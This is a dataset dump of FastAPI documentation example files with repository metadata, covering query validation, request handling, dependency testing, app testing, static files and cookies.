repo
stringlengths
7
90
file_url
stringlengths
81
315
file_path
stringlengths
4
228
content
stringlengths
0
32.8k
language
stringclasses
1 value
license
stringclasses
7 values
commit_sha
stringlengths
40
40
retrieved_at
stringdate
2026-01-04 14:38:15
2026-01-05 02:33:18
truncated
bool
2 classes
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial008_py39.py
docs_src/query_params_str_validations/tutorial008_py39.py
from typing import Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: Union[str, None] = Query( default=None, title="Query string", description="Query string for the items to search in the database that have a good match", min_le...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial007_an_py310.py
docs_src/query_params_str_validations/tutorial007_an_py310.py
from typing import Annotated from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: Annotated[str | None, Query(title="Query string", min_length=3)] = None, ): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) ...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial003_py310.py
docs_src/query_params_str_validations/tutorial003_py310.py
from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: str | None = Query(default=None, min_length=3, max_length=50)): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial010_an_py39.py
docs_src/query_params_str_validations/tutorial010_an_py39.py
from typing import Annotated, Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: Annotated[ Union[str, None], Query( alias="item-query", title="Query string", description="Query string for the items to search ...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial012_py39.py
docs_src/query_params_str_validations/tutorial012_py39.py
from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: list[str] = Query(default=["foo", "bar"])): query_items = {"q": q} return query_items
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial009_py39.py
docs_src/query_params_str_validations/tutorial009_py39.py
from typing import Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: Union[str, None] = Query(default=None, alias="item-query")): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial004_py310.py
docs_src/query_params_str_validations/tutorial004_py310.py
from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: str | None = Query( default=None, min_length=3, max_length=50, pattern="^fixedquery$" ), ): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) ...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial013_py39.py
docs_src/query_params_str_validations/tutorial013_py39.py
from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: list = Query(default=[])): query_items = {"q": q} return query_items
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial006c_an_py310.py
docs_src/query_params_str_validations/tutorial006c_an_py310.py
from typing import Annotated from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: Annotated[str | None, Query(min_length=3)]): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial011_an_py310.py
docs_src/query_params_str_validations/tutorial011_an_py310.py
from typing import Annotated from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: Annotated[list[str] | None, Query()] = None): query_items = {"q": q} return query_items
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/__init__.py
docs_src/query_params_str_validations/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial002_py310.py
docs_src/query_params_str_validations/tutorial002_py310.py
from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: str | None = Query(default=None, max_length=50)): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial011_py39.py
docs_src/query_params_str_validations/tutorial011_py39.py
from typing import Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: Union[list[str], None] = Query(default=None)): query_items = {"q": q} return query_items
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial015_an_py39.py
docs_src/query_params_str_validations/tutorial015_an_py39.py
import random from typing import Annotated, Union from fastapi import FastAPI from pydantic import AfterValidator app = FastAPI() data = { "isbn-9781529046137": "The Hitchhiker's Guide to the Galaxy", "imdb-tt0371724": "The Hitchhiker's Guide to the Galaxy", "isbn-9781439512982": "Isaac Asimov: The Compl...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial001_py310.py
docs_src/query_params_str_validations/tutorial001_py310.py
from fastapi import FastAPI app = FastAPI() @app.get("/items/") async def read_items(q: str | None = None): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial004_an_py39.py
docs_src/query_params_str_validations/tutorial004_an_py39.py
from typing import Annotated, Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: Annotated[ Union[str, None], Query(min_length=3, max_length=50, pattern="^fixedquery$") ] = None, ): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} ...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial008_an_py310.py
docs_src/query_params_str_validations/tutorial008_an_py310.py
from typing import Annotated from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: Annotated[ str | None, Query( title="Query string", description="Query string for the items to search in the database that have a good match", ...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial010_an_py310.py
docs_src/query_params_str_validations/tutorial010_an_py310.py
from typing import Annotated from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: Annotated[ str | None, Query( alias="item-query", title="Query string", description="Query string for the items to search in the databa...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial002_py39.py
docs_src/query_params_str_validations/tutorial002_py39.py
from typing import Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: Union[str, None] = Query(default=None, max_length=50)): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial015_an_py310.py
docs_src/query_params_str_validations/tutorial015_an_py310.py
import random from typing import Annotated from fastapi import FastAPI from pydantic import AfterValidator app = FastAPI() data = { "isbn-9781529046137": "The Hitchhiker's Guide to the Galaxy", "imdb-tt0371724": "The Hitchhiker's Guide to the Galaxy", "isbn-9781439512982": "Isaac Asimov: The Complete Sto...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial011_py310.py
docs_src/query_params_str_validations/tutorial011_py310.py
from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: list[str] | None = Query(default=None)): query_items = {"q": q} return query_items
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial011_an_py39.py
docs_src/query_params_str_validations/tutorial011_an_py39.py
from typing import Annotated, Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: Annotated[Union[list[str], None], Query()] = None): query_items = {"q": q} return query_items
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial014_py39.py
docs_src/query_params_str_validations/tutorial014_py39.py
from typing import Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( hidden_query: Union[str, None] = Query(default=None, include_in_schema=False), ): if hidden_query: return {"hidden_query": hidden_query} else: return {"hidden_query": "No...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial003_py39.py
docs_src/query_params_str_validations/tutorial003_py39.py
from typing import Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: Union[str, None] = Query(default=None, min_length=3, max_length=50), ): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial012_an_py39.py
docs_src/query_params_str_validations/tutorial012_an_py39.py
from typing import Annotated from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: Annotated[list[str], Query()] = ["foo", "bar"]): query_items = {"q": q} return query_items
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/using_request_directly/tutorial001_py39.py
docs_src/using_request_directly/tutorial001_py39.py
from fastapi import FastAPI, Request app = FastAPI() @app.get("/items/{item_id}") def read_root(item_id: str, request: Request): client_host = request.client.host return {"client_host": client_host, "item_id": item_id}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/using_request_directly/__init__.py
docs_src/using_request_directly/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/openapi_webhooks/tutorial001_py39.py
docs_src/openapi_webhooks/tutorial001_py39.py
from datetime import datetime from fastapi import FastAPI from pydantic import BaseModel app = FastAPI() class Subscription(BaseModel): username: str monthly_fee: float start_date: datetime @app.webhooks.post("new-subscription") def new_subscription(body: Subscription): """ When a new user sub...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/openapi_webhooks/__init__.py
docs_src/openapi_webhooks/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/dependency_testing/tutorial001_py39.py
docs_src/dependency_testing/tutorial001_py39.py
from typing import Union from fastapi import Depends, FastAPI from fastapi.testclient import TestClient app = FastAPI() async def common_parameters( q: Union[str, None] = None, skip: int = 0, limit: int = 100 ): return {"q": q, "skip": skip, "limit": limit} @app.get("/items/") async def read_items(commons...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/dependency_testing/tutorial001_an_py39.py
docs_src/dependency_testing/tutorial001_an_py39.py
from typing import Annotated, Union from fastapi import Depends, FastAPI from fastapi.testclient import TestClient app = FastAPI() async def common_parameters( q: Union[str, None] = None, skip: int = 0, limit: int = 100 ): return {"q": q, "skip": skip, "limit": limit} @app.get("/items/") async def read_it...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/dependency_testing/__init__.py
docs_src/dependency_testing/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/dependency_testing/tutorial001_an_py310.py
docs_src/dependency_testing/tutorial001_an_py310.py
from typing import Annotated from fastapi import Depends, FastAPI from fastapi.testclient import TestClient app = FastAPI() async def common_parameters(q: str | None = None, skip: int = 0, limit: int = 100): return {"q": q, "skip": skip, "limit": limit} @app.get("/items/") async def read_items(commons: Annota...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/dependency_testing/tutorial001_py310.py
docs_src/dependency_testing/tutorial001_py310.py
from fastapi import Depends, FastAPI from fastapi.testclient import TestClient app = FastAPI() async def common_parameters(q: str | None = None, skip: int = 0, limit: int = 100): return {"q": q, "skip": skip, "limit": limit} @app.get("/items/") async def read_items(commons: dict = Depends(common_parameters)): ...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/extending_openapi/tutorial001_py39.py
docs_src/extending_openapi/tutorial001_py39.py
from fastapi import FastAPI from fastapi.openapi.utils import get_openapi app = FastAPI() @app.get("/items/") async def read_items(): return [{"name": "Foo"}] def custom_openapi(): if app.openapi_schema: return app.openapi_schema openapi_schema = get_openapi( title="Custom title", ...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/extending_openapi/__init__.py
docs_src/extending_openapi/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/tutorial004_py39.py
docs_src/app_testing/tutorial004_py39.py
from contextlib import asynccontextmanager from fastapi import FastAPI from fastapi.testclient import TestClient items = {} @asynccontextmanager async def lifespan(app: FastAPI): items["foo"] = {"name": "Fighters"} items["bar"] = {"name": "Tenders"} yield # clean up items items.clear() app = F...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/tutorial001_py39.py
docs_src/app_testing/tutorial001_py39.py
from fastapi import FastAPI from fastapi.testclient import TestClient app = FastAPI() @app.get("/") async def read_main(): return {"msg": "Hello World"} client = TestClient(app) def test_read_main(): response = client.get("/") assert response.status_code == 200 assert response.json() == {"msg": "...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/__init__.py
docs_src/app_testing/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/tutorial002_py39.py
docs_src/app_testing/tutorial002_py39.py
from fastapi import FastAPI from fastapi.testclient import TestClient from fastapi.websockets import WebSocket app = FastAPI() @app.get("/") async def read_main(): return {"msg": "Hello World"} @app.websocket("/ws") async def websocket(websocket: WebSocket): await websocket.accept() await websocket.sen...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/tutorial003_py39.py
docs_src/app_testing/tutorial003_py39.py
from fastapi import FastAPI from fastapi.testclient import TestClient app = FastAPI() items = {} @app.on_event("startup") async def startup_event(): items["foo"] = {"name": "Fighters"} items["bar"] = {"name": "Tenders"} @app.get("/items/{item_id}") async def read_items(item_id: str): return items[item...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_an_py39/test_main.py
docs_src/app_testing/app_b_an_py39/test_main.py
from fastapi.testclient import TestClient from .main import app client = TestClient(app) def test_read_item(): response = client.get("/items/foo", headers={"X-Token": "coneofsilence"}) assert response.status_code == 200 assert response.json() == { "id": "foo", "title": "Foo", "de...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_an_py39/main.py
docs_src/app_testing/app_b_an_py39/main.py
from typing import Annotated, Union from fastapi import FastAPI, Header, HTTPException from pydantic import BaseModel fake_secret_token = "coneofsilence" fake_db = { "foo": {"id": "foo", "title": "Foo", "description": "There goes my hero"}, "bar": {"id": "bar", "title": "Bar", "description": "The bartenders"...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_an_py39/__init__.py
docs_src/app_testing/app_b_an_py39/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_an_py310/test_main.py
docs_src/app_testing/app_b_an_py310/test_main.py
from fastapi.testclient import TestClient from .main import app client = TestClient(app) def test_read_item(): response = client.get("/items/foo", headers={"X-Token": "coneofsilence"}) assert response.status_code == 200 assert response.json() == { "id": "foo", "title": "Foo", "de...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_an_py310/main.py
docs_src/app_testing/app_b_an_py310/main.py
from typing import Annotated from fastapi import FastAPI, Header, HTTPException from pydantic import BaseModel fake_secret_token = "coneofsilence" fake_db = { "foo": {"id": "foo", "title": "Foo", "description": "There goes my hero"}, "bar": {"id": "bar", "title": "Bar", "description": "The bartenders"}, } a...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_an_py310/__init__.py
docs_src/app_testing/app_b_an_py310/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_py310/test_main.py
docs_src/app_testing/app_b_py310/test_main.py
from fastapi.testclient import TestClient from .main import app client = TestClient(app) def test_read_item(): response = client.get("/items/foo", headers={"X-Token": "coneofsilence"}) assert response.status_code == 200 assert response.json() == { "id": "foo", "title": "Foo", "de...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_py310/main.py
docs_src/app_testing/app_b_py310/main.py
from fastapi import FastAPI, Header, HTTPException from pydantic import BaseModel fake_secret_token = "coneofsilence" fake_db = { "foo": {"id": "foo", "title": "Foo", "description": "There goes my hero"}, "bar": {"id": "bar", "title": "Bar", "description": "The bartenders"}, } app = FastAPI() class Item(Ba...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_py310/__init__.py
docs_src/app_testing/app_b_py310/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_a_py39/test_main.py
docs_src/app_testing/app_a_py39/test_main.py
from fastapi.testclient import TestClient from .main import app client = TestClient(app) def test_read_main(): response = client.get("/") assert response.status_code == 200 assert response.json() == {"msg": "Hello World"}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_a_py39/main.py
docs_src/app_testing/app_a_py39/main.py
from fastapi import FastAPI app = FastAPI() @app.get("/") async def read_main(): return {"msg": "Hello World"}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_a_py39/__init__.py
docs_src/app_testing/app_a_py39/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_py39/test_main.py
docs_src/app_testing/app_b_py39/test_main.py
from fastapi.testclient import TestClient from .main import app client = TestClient(app) def test_read_item(): response = client.get("/items/foo", headers={"X-Token": "coneofsilence"}) assert response.status_code == 200 assert response.json() == { "id": "foo", "title": "Foo", "de...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_py39/main.py
docs_src/app_testing/app_b_py39/main.py
from typing import Union from fastapi import FastAPI, Header, HTTPException from pydantic import BaseModel fake_secret_token = "coneofsilence" fake_db = { "foo": {"id": "foo", "title": "Foo", "description": "There goes my hero"}, "bar": {"id": "bar", "title": "Bar", "description": "The bartenders"}, } app =...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_py39/__init__.py
docs_src/app_testing/app_b_py39/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/static_files/tutorial001_py39.py
docs_src/static_files/tutorial001_py39.py
from fastapi import FastAPI from fastapi.staticfiles import StaticFiles app = FastAPI() app.mount("/static", StaticFiles(directory="static"), name="static")
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/static_files/__init__.py
docs_src/static_files/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/response_cookies/tutorial001_py39.py
docs_src/response_cookies/tutorial001_py39.py
from fastapi import FastAPI from fastapi.responses import JSONResponse app = FastAPI() @app.post("/cookie/") def create_cookie(): content = {"message": "Come to the dark side, we have cookies"} response = JSONResponse(content=content) response.set_cookie(key="fakesession", value="fake-cookie-session-valu...
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/response_cookies/__init__.py
docs_src/response_cookies/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
